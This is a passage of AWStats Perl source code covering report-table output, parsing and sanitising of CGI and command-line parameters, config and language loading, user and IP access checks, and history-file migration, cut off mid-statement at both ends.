} } my $count = 0; if ( $MaxNbOfExtra[$extranum] ) { if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { &BuildKeyList( $MaxNbOfExtra[$extranum], $MinHitExtra[$extranum], \%{ '_section_' . $extranum . '_h' }, \%{ '_section_' . $extranum . '_p' } ); } else { &BuildKeyList( $MaxNbOfExtra[$extranum], $MinHitExtra[$extranum], \%{ '_section_' . $extranum . '_h' }, \%{ '_section_' . $extranum . '_h' } ); } } else { @keylist = (); } my %keysinkeylist = (); foreach my $key (@keylist) { $keysinkeylist{$key} = 1; my $firstcol = CleanXSS( DecodeEncodedString($key) ); $total_p += ${ '_section_' . $extranum . '_p' }{$key}; $total_h += ${ '_section_' . $extranum . '_h' }{$key}; $total_k += ${ '_section_' . $extranum . '_k' }{$key}; print "<tr>"; printf( "<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>", $firstcol, $firstcol, $firstcol, $firstcol, $firstcol ); if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { print "<td>" . ${ '_section_' . $extranum . '_p' }{$key} . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { print "<td>" . ${ '_section_' . $extranum . '_h' }{$key} . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { print "<td>" . Format_Bytes( ${ '_section_' . $extranum . '_k' }{$key} ) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { print "<td>" . ( ${ '_section_' . $extranum . '_l' }{$key} ? Format_Date( ${ '_section_' . $extranum . '_l' }{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; $count++; } # If we ask average or sum, we loop on all other records if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] ) { foreach ( keys %{ '_section_' . $extranum . '_h' } ) { if ( $keysinkeylist{$_} ) { next; } $total_p += ${ '_section_' . $extranum . '_p' }{$_}; $total_h += ${ '_section_' . $extranum . '_h' }{$_}; $total_k += ${ '_section_' . $extranum . '_k' }{$_}; $count++; } } # Add average row if ( $ExtraAddAverageRow[$extranum] ) { print "<tr>"; print "<td class=\"aws\"><b>$Message[96]</b></td>"; if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { print "<td>" . ( $count ? Format_Number(( $total_p / $count )) : " " ) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { print "<td>" . ( $count ? Format_Number(( $total_h / $count )) : " " ) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { print "<td>" . ( $count ? Format_Bytes( $total_k / $count ) : " " ) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { print "<td> </td>"; } print "</tr>\n"; } # Add sum row if ( $ExtraAddSumRow[$extranum] ) { print "<tr>"; print "<td class=\"aws\"><b>$Message[102]</b></td>"; if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { print "<td>" . Format_Number(($total_p)) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { print "<td>" . Format_Number(($total_h)) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { print "<td>" . Format_Bytes($total_k) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # MAIN #------------------------------------------------------------------------------ ( $DIR = $0 ) =~ s/([^\/\\]+)$//; ( $PROG = $1 ) =~ s/\.([^\.]*)$//; $Extension = $1; $DIR ||= '.'; $DIR =~ s/([^\/\\])[\\\/]+$/$1/; $starttime = time(); # Get current time (time when AWStats was started) ( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday ) = localtime($starttime); $nowweekofmonth = int( $nowday / 7 ); $nowweekofyear = int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1; if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; } $nowdaymod = $nowday % 7; $nowwday++; $nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear ); if ( $nowdaymod <= $nowwday ) { if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) { $nowweekofmonth = $nowweekofmonth + 1; } } if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; } # Change format of time variables $nowweekofmonth = "0$nowweekofmonth"; if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; } if ( $nowyear < 100 ) { $nowyear += 2000; } else { $nowyear += 1900; } $nowsmallyear = $nowyear; $nowsmallyear =~ s/^..//; if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; } if ( $nowday < 10 ) { $nowday = "0$nowday"; } if ( $nowhour < 10 ) { $nowhour = "0$nowhour"; } if ( $nowmin < 10 ) { $nowmin = "0$nowmin"; } if ( $nowsec < 10 ) { $nowsec = "0$nowsec"; } $nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec ); # Get tomorrow time (will be used to discard some record with corrupted date (future date)) my ( $tomorrowsec, $tomorrowmin, $tomorrowhour, $tomorrowday, $tomorrowmonth, $tomorrowyear ) = localtime( $starttime + 86400 ); if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; } else { $tomorrowyear += 1900; } if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; } if ( $tomorrowday < 10 ) { $tomorrowday = "0$tomorrowday"; } if ( $tomorrowhour < 10 ) { $tomorrowhour = "0$tomorrowhour"; } if ( $tomorrowmin < 10 ) { $tomorrowmin = "0$tomorrowmin"; } if ( $tomorrowsec < 10 ) { $tomorrowsec = "0$tomorrowsec"; } $tomorrowtime = int( $tomorrowyear . $tomorrowmonth . $tomorrowday . $tomorrowhour . $tomorrowmin . $tomorrowsec ); # Allowed option my @AllowedCLIArgs = ( 'migrate', 'config', 'logfile', 'output', 'runascli', 'update', 'staticlinks', 'staticlinksext', 'noloadplugin', 'loadplugin', 'hostfilter', 'urlfilter', 'refererpagesfilter', 'lang', 'month', 'year', 'framename', 'debug', 'showsteps', 'showdropped', 'showcorrupted', 'showunknownorigin', 'showdirectorigin', 'limitflush', 'nboflastupdatelookuptosave', 'confdir', 'updatefor', 'hostfilter', 'hostfilterex', 'urlfilter', 'urlfilterex', 'refererpagesfilter', 'refererpagesfilterex', 'pluginmode', 'filterrawlog' ); # Parse input parameters and sanitize them for security reasons $QueryString = ''; # AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can # be set to force AWStats to be ran as CLI even from a web page. if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; } if ( $ENV{'GATEWAY_INTERFACE'} ) { # Run from a browser as CGI $DebugMessages = 0; # Prepare QueryString if ( $ENV{'CONTENT_LENGTH'} ) { binmode STDIN; read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} ); } if ( $ENV{'QUERY_STRING'} ) { $QueryString = $ENV{'QUERY_STRING'}; # Set & and & to & $QueryString =~ s/&/&/g; $QueryString =~ s/&/&/g; } # Remove all XSS vulnerabilities coming from AWStats parameters $QueryString = CleanXSS( &DecodeEncodedString($QueryString) ); # Security test if ( $QueryString =~ /LogFile=([^&]+)/i ) { error( "Logfile parameter can't be overwritten when AWStats is used from a CGI" ); } # No update but report by default when run from a browser $UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 ); if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); } if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; } if ( $QueryString =~ /pluginmode=([^&]+)/i ) { $PluginMode = &Sanitize( "$1", 1 ); } if ( $QueryString =~ /configdir=([^&]+)/i ) { $DirConfig = &Sanitize("$1"); $DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL $DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL } # All filters if ( $QueryString =~ /hostfilter=([^&]+)/i ) { $FilterIn{'host'} = "$1"; } # Filter on host list can also be defined with hostfilter=filter if ( $QueryString =~ /hostfilterex=([^&]+)/i ) { $FilterEx{'host'} = "$1"; } # if ( $QueryString =~ /urlfilter=([^&]+)/i ) { $FilterIn{'url'} = "$1"; } # Filter on URL list can also be defined with urlfilter=filter if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } # if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) { $FilterIn{'refererpages'} = "$1"; } # Filter on referer list can also be defined with refererpagesfilter=filter if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) { $FilterEx{'refererpages'} = "$1"; } # # All output if ( $QueryString =~ /output=allhosts:([^&]+)/i ) { $FilterIn{'host'} = "$1"; } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) { $FilterIn{'host'} = "$1"; } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed if ( $QueryString =~ /output=urldetail:([^&]+)/i ) { $FilterIn{'url'} = "$1"; } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed if ( $QueryString =~ /output=refererpages:([^&]+)/i ) { $FilterIn{'refererpages'} = "$1"; } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed # If migrate if ( $QueryString =~ /(^|-|&|&)migrate=([^&]+)/i ) { $MigrateStats = &Sanitize("$2"); $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/; $SiteConfig = &Sanitize($5 ? $5 : 'xxx'); $SiteConfig =~ s/^\.//; # SiteConfig is used to find config file } $SiteConfig =~ s/\.\.//g; # Avoid directory transversal } else { # Run from command line $DebugMessages = 1; # Prepare QueryString for ( 0 .. @ARGV - 1 ) { # If migrate if ( $ARGV[$_] =~ /(^|-|&|&)migrate=([^&]+)/i ) { $MigrateStats = &Sanitize("$2"); $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/; $SiteConfig = &Sanitize($5 ? $5 : 'xxx'); $SiteConfig =~ s/^\.//; # SiteConfig is used to find config file next; } # TODO Check if ARGV is in @AllowedArg if ($QueryString) { $QueryString .= '&'; } my $NewLinkParams = $ARGV[$_]; $NewLinkParams =~ s/^-+//; $QueryString .= "$NewLinkParams"; } # Remove all XSS vulnerabilities coming from AWStats parameters $QueryString = CleanXSS($QueryString); # Security test if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} && $QueryString =~ /LogFile=([^&]+)/i ) { error( "Logfile parameter can't be overwritten when AWStats is used from a CGI" ); } # Update with no report by default when run from command line $UpdateStats = 1; if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); } if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; } if ( $QueryString =~ /pluginmode=([^&]+)/i ) { $PluginMode = &Sanitize( "$1", 1 ); } if ( $QueryString =~ /configdir=([^&]+)/i ) { $DirConfig = &Sanitize("$1"); $DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL $DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL } # All filters if ( $QueryString =~ /hostfilter=([^&]+)/i ) { $FilterIn{'host'} = "$1"; } # Filter on host list can also be defined with hostfilter=filter if ( $QueryString =~ /hostfilterex=([^&]+)/i ) { $FilterEx{'host'} = "$1"; } # if ( $QueryString =~ /urlfilter=([^&]+)/i ) { $FilterIn{'url'} = "$1"; } # Filter on URL list can also be defined with urlfilter=filter if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } # if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) { $FilterIn{'refererpages'} = "$1"; } # Filter on referer list can also be defined with refererpagesfilter=filter if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) { $FilterEx{'refererpages'} = "$1"; } # # All output if ( $QueryString =~ /output=allhosts:([^&]+)/i ) { $FilterIn{'host'} = "$1"; } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) { $FilterIn{'host'} = "$1"; } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed if ( $QueryString =~ /output=urldetail:([^&]+)/i ) { $FilterIn{'url'} = "$1"; } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed if ( $QueryString =~ /output=refererpages:([^&]+)/i ) { $FilterIn{'refererpages'} = "$1"; } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed # Config parameters if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; } # If show options if ( $QueryString =~ /showsteps/i ) { $ShowSteps = 1; $QueryString =~ s/showsteps[^&]*//i; } if ( $QueryString =~ /showcorrupted/i ) { $ShowCorrupted = 1; $QueryString =~ s/showcorrupted[^&]*//i; } if ( $QueryString =~ /showdropped/i ) { $ShowDropped = 1; $QueryString =~ s/showdropped[^&]*//i; } if ( $QueryString =~ /showunknownorigin/i ) { $ShowUnknownOrigin = 1; $QueryString =~ s/showunknownorigin[^&]*//i; } if ( $QueryString =~ /showdirectorigin/i ) { $ShowDirectOrigin = 1; $QueryString =~ s/showdirectorigin[^&]*//i; } $SiteConfig =~ s/\.\.//g; } if ( $QueryString =~ /(^|&|&)staticlinks/i ) { $StaticLinks = "$PROG.$SiteConfig"; } if ( $QueryString =~ /(^|&|&)staticlinks=([^&]+)/i ) { $StaticLinks = "$2"; } # When ran from awstatsbuildstaticpages.pl if ( $QueryString =~ /(^|&|&)staticlinksext=([^&]+)/i ) { $StaticExt = "$2"; } if ( $QueryString =~ /(^|&|&)framename=([^&]+)/i ) { $FrameName = "$2"; } if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { $Debug = $2; } if ( $QueryString =~ /(^|&|&)databasebreak=(\w+)/i ) { $DatabaseBreak = $2; } if ( $QueryString =~ /(^|&|&)updatefor=(\d+)/i ) { $UpdateFor = $2; } if ( $QueryString =~ /(^|&|&)noloadplugin=([^&]+)/i ) { foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; } } if ( $QueryString =~ /(^|&|&)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; } if ( $QueryString =~ /(^|&|&)nboflastupdatelookuptosave=(\d+)/i ) { $NBOFLASTUPDATELOOKUPTOSAVE = $2; } # Get/Define output if ( $QueryString =~ /(^|&|&)output(=[^&]*|)(.*)(&|&)output(=[^&]*|)(&|$)/i ) { error( "Only 1 output option is allowed", "", "", 1 ); } if ( $QueryString =~ /(^|&|&)output(=[^&]*|)(&|$)/i ) { # At least one output expected. We define %HTMLOutput my $outputlist = "$2"; if ($outputlist) { $outputlist =~ s/^=//; foreach my $outputparam ( split( /,/, $outputlist ) ) { $outputparam =~ s/:(.*)$//; if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; } } } # If on command line and no update if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) { $UpdateStats = 0; } # If no output defined, used default value if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; } } if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; } # Remove -output option with no = from QueryString $QueryString =~ s/(^|&|&)output(&|$)/$1$2/i; $QueryString =~ s/&+$//; # Check year, month, day, hour parameters if ( $QueryString =~ /(^|&|&)month=(year)/i ) { error("month=year is a deprecated option. Use month=all instead."); } if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) { $YearRequired = sprintf( "%04d", $2 ); } else { $YearRequired = "$nowyear"; } if ( $QueryString =~ /(^|&|&)month=(\d{1,2})/i ) { $MonthRequired = sprintf( "%02d", $2 ); } elsif ( $QueryString =~ /(^|&|&)month=(all)/i ) { $MonthRequired = 'all'; } else { $MonthRequired = "$nowmonth"; } if ( $QueryString =~ /(^|&|&)day=(\d{1,2})/i ) { $DayRequired = sprintf( "%02d", $2 ); } # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day. else { $DayRequired = ''; } if ( $QueryString =~ /(^|&|&)hour=(\d{1,2})/i ) { $HourRequired = sprintf( "%02d", $2 ); } # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day. else { $HourRequired = ''; } # Check parameter validity # TODO # Print AWStats and Perl version if ($Debug) { debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 ); debug( "DIR=$DIR PROG=$PROG Extension=$Extension", 2 ); debug( "QUERY_STRING=$QueryString", 2 ); debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 ); debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 ); debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 ); debug( "UpdateFor=$UpdateFor", 2 ); debug( "PluginMode=$PluginMode", 2 ); debug( "DirConfig=$DirConfig", 2 ); } # Force SiteConfig if AWSTATS_FORCE_CONFIG is defined if ( $ENV{'AWSTATS_CONFIG'} ) { $ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'}; } # For backward compatibility if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) { if ($Debug) { debug( "AWSTATS_FORCE_CONFIG parameter is defined to '" . $ENV{'AWSTATS_FORCE_CONFIG'} . "'. $PROG will use this as config value." ); } $SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} ); } # Display version information if ( $QueryString =~ /(^|&|&)version/i ) { print "$PROG $VERSION\n"; exit 0; } # Display help information if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) { &PrintCLIHelp(); exit 2; } $SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} ); #$ENV{'SERVER_NAME'}||=$SiteConfig; # For thoose who use __SERVER_NAME__ in conf file and use CLI. $ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig; # Read config file (SiteConfig must be defined) &Read_Config($DirConfig); # Check language if ( $QueryString =~ /(^|&|&)lang=([^&]+)/i ) { $Lang = "$2"; } if ( !$Lang || $Lang eq 'auto' ) { # If lang not defined or forced to auto my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || ''; $langlist =~ s/;[^,]*//g; if ($Debug) { debug( "Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist", 1 ); } foreach my $code ( split( /,/, $langlist ) ) { # Search for a valid lang in priority if ( $LangBrowserToLangAwstats{$code} ) { $Lang = $LangBrowserToLangAwstats{$code}; if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); } last; } $code =~ s/-.*$//; if ( $LangBrowserToLangAwstats{$code} ) { $Lang = $LangBrowserToLangAwstats{$code}; if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); } last; } } } if ( !$Lang || $Lang eq 'auto' ) { if ($Debug) { debug( " No language defined or available. Will use Lang=en", 1 ); } $Lang = 'en'; } # Check and correct bad parameters &Check_Config(); # Now SiteDomain is defined if ( $Debug && !$DebugMessages ) { error( "Debug has not been allowed. Change DebugMessages parameter in config file to allow debug." ); } # Define frame name and correct variable for frames if ( !$FrameName ) { if ( $ENV{'GATEWAY_INTERFACE'} && $UseFramesWhenCGI && $HTMLOutput{'main'} && !$PluginMode ) { $FrameName = 'index'; } else { $FrameName = 'main'; } } # Load Message files, Reference data files and Plugins if ($Debug) { debug( "FrameName=$FrameName", 1 ); } if ( $FrameName ne 'index' ) { &Read_Language_Data($Lang); if ( $FrameName ne 'mainleft' ) { my %datatoload = (); my ( $filedomains, $filemime, $filerobots, $fileworms, $filebrowser, $fileos, $filese ) = ( 'domains', 'mime', 'robots', 'worms', 'browsers', 'operating_systems', 'search_engines' ); my ( $filestatushttp, $filestatussmtp ) = ( 'status_http', 'status_smtp' ); if ( $LevelForBrowsersDetection eq 'allphones' ) { $filebrowser = 'browsers_phone'; } if ($UpdateStats) { # If update if ($LevelForFileTypesDetection) { $datatoload{$filemime} = 1; } # Only if need to filter on known extensions if ($LevelForRobotsDetection) { $datatoload{$filerobots} = 1; } # ua if ($LevelForWormsDetection) { $datatoload{$fileworms} = 1; } # url if ($LevelForBrowsersDetection) { $datatoload{$filebrowser} = 1; } # ua if ($LevelForOSDetection) { $datatoload{$fileos} = 1; } # ua if ($LevelForRefererAnalyze) { $datatoload{$filese} = 1; } # referer # if (...) { $datatoload{'referer_spam'}=1; } } if ( scalar keys %HTMLOutput ) { # If output if ( $ShowDomainsStats || $ShowHostsStats ) { $datatoload{$filedomains} = 1; } # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile. if ($ShowFileTypesStats) { $datatoload{$filemime} = 1; } if ($ShowRobotsStats) { $datatoload{$filerobots} = 1; } if ($ShowWormsStats) { $datatoload{$fileworms} = 1; } if ($ShowBrowsersStats) { $datatoload{$filebrowser} = 1; } if ($ShowOSStats) { $datatoload{$fileos} = 1; } if ($ShowOriginStats) { $datatoload{$filese} = 1; } if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; } if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; } } &Read_Ref_Data( keys %datatoload ); } &Read_Plugins(); } # Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode) if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); } # Run from a browser as CGI # Init other parameters $NBOFLINESFORBENCHMARK--; if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; } if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) { $DirCgi .= '/'; } if ( !$DirData || $DirData =~ /^\./ ) { if ( !$DirData || $DirData eq '.' ) { $DirData = "$DIR"; } # If not defined or chosen to '.' value then DirData is current dir elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; } } $DirData ||= '.'; # If current dir not defined then we put it to '.' $DirData =~ s/[\\\/]+$//; if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); } else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); } # Should we link to ourselves or to a wrapper script $AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" ); if (index($AWScript,'?')>-1) { $AWScript .= '&'; # $AWScript contains URL parameters } else { $AWScript .= '?'; } # Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data) if ( !$HeaderHTMLSent ) { &html_head; } # AWStats output is replaced by a plugin output if ($PluginMode) { # my $function="BuildFullHTMLOutput_$PluginMode()"; # eval("$function"); my $function = "BuildFullHTMLOutput_$PluginMode"; &$function(); if ( $? || $@ ) { error("$@"); } &html_end(0); exit 0; } # Security check if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} ) { if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); } if ( !$ENV{"REMOTE_USER"} ) { error( "Access to statistics is only allowed from an authenticated session to authenticated users." ); } if (@AllowAccessFromWebToFollowingAuthenticatedUsers) { my $userisinlist = 0; my $remoteuser = quotemeta( $ENV{"REMOTE_USER"} ); $remoteuser =~ s/\s/%20/g ; # Allow authenticated user with space in name to be compared to allowed user list my $currentuser = qr/^$remoteuser$/i; # Set precompiled regex foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) { if (/$currentuser/o) { $userisinlist = 1; last; } } if ( !$userisinlist ) { error( "User '" . $ENV{"REMOTE_USER"} . "' is not allowed to access statistics of this domain/config." ); } } } if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) { my $IPAddress = $ENV{"REMOTE_ADDR"}; # IPv4 or IPv6 my $useripaddress = &Convert_IP_To_Decimal($IPAddress); my @allowaccessfromipaddresses = split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses ); my $allowaccess = 0; foreach my $ipaddressrange (@allowaccessfromipaddresses) { if ( $ipaddressrange !~ /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ && $ipaddressrange !~ /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ ) { error( "AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\"" ); } # Test ip v4 if ( $ipaddressrange =~ /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ ) { my $ipmin = &Convert_IP_To_Decimal($1); my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin; # Is it an authorized ip ? if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) ) { $allowaccess = 1; last; } } # Test ip v6 if ( $ipaddressrange =~ /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ ) { if ( $ipaddressrange =~ /::\// ) { my @IPv6split = split( /::/, $ipaddressrange ); if ( $IPAddress =~ /^$IPv6split[0]/ ) { $allowaccess = 1; last; } } elsif ( $ipaddressrange == $IPAddress ) { $allowaccess = 1; last; } } } if ( !$allowaccess ) { error( "Access to statistics is not allowed from your IP Address " . $ENV{"REMOTE_ADDR"} ); } } if ( ( $UpdateStats || $MigrateStats ) && ( !$AllowToUpdateStatsFromBrowser ) && $ENV{'GATEWAY_INTERFACE'} ) { error( "" . ( $UpdateStats ? "Update" : "Migrate" ) . " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)." ); } if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) { if ( !$AllowFullYearView ) { error( "Full year view has not been allowed (AllowFullYearView is set to 0)." ); } if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) { error( "Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)." ); } } #------------------------------------------ # MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...) #------------------------------------------ if ($MigrateStats) { if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); } if ( $MigrateStats !~ /^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ ) { error( "AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt", "", "", 1 ); } $DirData = "$1"; $MonthRequired = "$2"; $YearRequired = "$3"; $DayRequired = "$4"; $HourRequired = "$5"; $FileSuffix = "$6"; # Correct DirData if ( !$DirData || $DirData =~ /^\./ ) { if ( !$DirData || $DirData eq '.' ) { $DirData = "$DIR"; } # If not defined or chosen to '.' value then DirData is current dir elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; } } $DirData ||= '.'; # If current dir not defined then we put it to '.' $DirData =~ s/[\\\/]+$//; print "Start migration for file '$MigrateStats'."; print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n"; if ($EnableLockForUpdate) { &Lock_Update(1); } my $newhistory = &Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired, $HourRequired, 1, 0, 'all' ); if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) { unlink "$newhistory"; error( "Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong" . ( $ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : "" ) . " or file might be opened." ); } if ($EnableLockForUpdate) { &Lock_Update(0); } print "Migration for file '$MigrateStats' successful."; print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n"; &html_end(1); exit 0; } # Output main frame page and exit. This must be after the security check. if ( $FrameName eq 'index' ) { # Define the NewLinkParams for main chart my $NewLinkParams = ${QueryString}; $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } # Exit if main frame print "<frameset cols=\"$FRAMEWIDTH,*\">\n"; print "<frame name=\"mainleft\" src=\"" . XMLEncode("$AWScript${NewLinkParams}framename=mainleft") . "\" frameborder=\"0\" />\n"; print "<frame name=\"mainright\" src=\"" . XMLEncode("$AWScript${NewLinkParams}framename=mainright") . "\" scrolling=\"yes\" frameborder=\"0\" />\n"; print "<noframes><body>"; print "Your browser does not support frames.<br />\n"; print "You must set AWStats UseFramesWhenCGI parameter to 0\n"; print "to see your reports.<br />\n"; print "</body></noframes>\n"; print "</frameset>\n"; &html_end(0); exit 0; } %MonthNumLib = ( "01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]", "04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]", "07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]", "10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]" ); # Build ListOfYears list with all existing years ( $lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate, $lasthourbeforeupdate, $lastdatebeforeupdate ) = ( 0, 0, 0, 0, 0 ); my $datemask = ''; if ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; } elsif ( $DatabaseBreak eq 'year' ) { $datemask = '(\d\d\d\d)'; } elsif ( $DatabaseBreak eq 'day' ) { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; } elsif ( $DatabaseBreak eq 'hour' ) { $datemask 